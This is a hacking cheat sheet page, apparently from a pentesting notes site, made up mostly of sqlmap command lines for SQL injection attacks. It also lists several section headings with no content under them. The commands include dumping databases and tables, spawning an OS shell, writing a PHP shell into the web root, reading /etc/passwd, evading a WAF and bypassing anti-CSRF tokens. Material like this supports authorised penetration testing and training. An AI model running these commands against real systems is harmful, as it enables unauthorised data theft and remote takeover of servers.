spiderWeb Hacking Payloads

SQL Injection with SQLMap

# Download the request using Burp and initialize SQLMap with it
sqlmap -r <request>
# If success enumerate databases
sqlmap -r <request> --dbs
# Enumerate tables of specific database
sqlmap -r <request> -D <database> --tables
# Dump content of table
sqlmap -r <request> -D <database> -T <table> --dump
# SQLMap without asking for user intput
sqlmap -u "http://www.example.com/vuln.php?id=1" --batch
# SQLMap with POST Request
sqlmap 'http://www.example.com/' --data 'uid=1&name=test'
# SQLMap with Cookie header
sqlmap 'http://www.example.com/' --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'
# Database schema enumeration
sqlmap -u "http://www.example.com/?id=1" --schema
# SQLMap with custom Cookie ID Header
sqlmap 'http://www.target.com/file.php?id=1' --cookie="id=1*" --dump --batch
# SQLMap with PUT request
sqlmap -u www.target.com --data='id=1' --method PUT
# SQLMap with basic DB enumeration
sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba
# SQLMap spawning a OS Shell
sqlmap -u "http://www.example.com/?id=1" --os-shell
# SQLMap writing a file
sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"
# SQLMap reading a local file
sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"
# SQLMap specify a prefix or sufix 
sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"
# Specify columns
sqlmap -u "http://www.target.com/file.php?id=1" --union-cols=5 --dump --batch
# Anti-CSRF token bypass
sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token"
# Skip WAF
sqlmap -r req --dump --batch --skip-waf
# Randomize UA
sqlmap -r req --dump --batch --random-agent
# Tamper scripts

SQLi

LFI To RCE: Log Poisoning

RFI

XSS Payloads

Command Injection

Last updated